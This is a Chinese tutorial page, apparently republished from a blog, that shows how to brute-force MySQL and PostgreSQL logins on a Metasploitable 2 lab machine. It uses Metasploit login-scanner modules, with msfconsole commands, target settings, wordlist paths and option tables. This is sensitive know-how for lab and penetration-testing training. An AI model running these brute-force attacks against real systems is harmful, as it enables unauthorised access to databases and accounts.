Metasploit 暴力破解演示

发表于:2018-8-23 15:48

字体: | 上一篇 | 下一篇 | 我要投稿

 作者:starnight_cyber    来源:博客园

  本文简要演示使用Metasploit 中的mysql_login、postgresql_login、tomcat_mgr_login模块暴力破解Metasploitable 2 上部署的的服务。
  Preface
  靶机: Metasploitable 2 下载地址
  攻击机: Kali 2 - xfce
  MySQL演示流程
  root@kali:~# msfconsole
  msf > use auxiliary/scanner/mysql/mysql_login
  msf auxiliary(scanner/mysql/mysql_login) > show options
  需要设置几个选项参数:
  msf auxiliary(scanner/mysql/mysql_login) > set rhosts 192.168.1.110
  rhosts => 192.168.1.110
  msf auxiliary(scanner/mysql/mysql_login) > set user_file /root/user.txt
  user_file => /root/user.txt
  msf auxiliary(scanner/mysql/mysql_login) > set pass_file /root/pass.txt
  pass_file => /root/pass.txt
  如下所示:
  msf auxiliary(scanner/mysql/mysql_login) > show options
  Module options (auxiliary/scanner/mysql/mysql_login):
  Name              Current Setting  Required  Description
  ----              ---------------  --------  -----------
  BLANK_PASSWORDS   false            no        Try blank passwords for all users
  BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
  DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
  DB_ALL_PASS       false            no        Add all passwords in the current database to the list
  DB_ALL_USERS      false            no        Add all users in the current database to the list
  PASSWORD                           no        A specific password to authenticate with
  PASS_FILE         /root/pass.txt   no        File containing passwords, one per line
  Proxies                            no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS            192.168.1.110    yes       The target address range or CIDR identifier
  RPORT             3306             yes       The target port (TCP)
  STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
  THREADS           1                yes       The number of concurrent threads
  USERNAME                           no        A specific username to authenticate as
  USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
  USER_AS_PASS      false            no        Try the username as the password for all users
  USER_FILE         /root/user.txt   no        File containing usernames, one per line
  VERBOSE           true             yes       Whether to print output for all attempts
  MySQL暴力破解使用的用户/密码字典自己提供。
  如下所示:
   
  PostgreSQL演示流程
  root@kali:~# msfconsole
  msf > use auxiliary/scanner/postgres/postgres_login
  msf auxiliary(scanner/postgres/postgres_login) > show options
  Module options (auxiliary/scanner/postgres/postgres_login):
  Name              Current Setting                                                               Required  Description
  ----              ---------------                                                               --------  -----------
  BLANK_PASSWORDS   false                                                                         no        Try blank passwords for all users
  BRUTEFORCE_SPEED  5                                                                             yes       How fast to bruteforce, from 0 to 5
  DATABASE          template1                                                                     yes       The database to authenticate against
  DB_ALL_CREDS      false                                                                         no        Try each user/password couple stored in the current database
  DB_ALL_PASS       false                                                                         no        Add all passwords in the current database to the list
  DB_ALL_USERS      false                                                                         no        Add all users in the current database to the list
  PASSWORD                                                                                        no        A specific password to authenticate with
  PASS_FILE         /usr/share/metasploit-framework/data/wordlists/postgres_default_pass.txt      no        File containing passwords, one per line
  Proxies                                                                                         no        A proxy chain of format type:host:port[,type:host:port][...]
  RETURN_ROWSET     true                                                                          no        Set to true to see query result sets
  RHOSTS                                                                                     yes       The target address range or CIDR identifier
  RPORT             5432                                                                          yes       The target port
  STOP_ON_SUCCESS   false                                                                         yes       Stop guessing when a credential works for a host
  THREADS           1                                                                             yes       The number of concurrent threads
  USERNAME                                                                                        no        A specific username to authenticate as
  USERPASS_FILE     /usr/share/metasploit-framework/data/wordlists/postgres_default_userpass.txt  no        File containing (space-seperated) users and passwords, one pair per line
  USER_AS_PASS      false                                                                         no        Try the username as the password for all users
  USER_FILE         /usr/share/metasploit-framework/data/wordlists/postgres_default_user.txt      no        File containing users, one per line
  VERBOSE           true                                                                          yes       Whether to print output for all attempts
  
  上文内容不用于商业目的,如涉及知识产权问题,请权利人联系博为峰小编(021-64471599-8017),我们将立即处理。
21/212>
《2023软件测试行业现状调查报告》独家发布~

关注51Testing

联系我们

快捷面板 站点地图 联系我们 广告服务 关于我们 站长统计 发展历程

法律顾问:上海兰迪律师事务所 项棋律师
版权所有 上海博为峰软件技术股份有限公司 Copyright©51testing.com 2003-2024
投诉及意见反馈:webmaster@51testing.com; 业务联系:service@51testing.com 021-64471599-8017

沪ICP备05003035号

沪公网安备 31010102002173号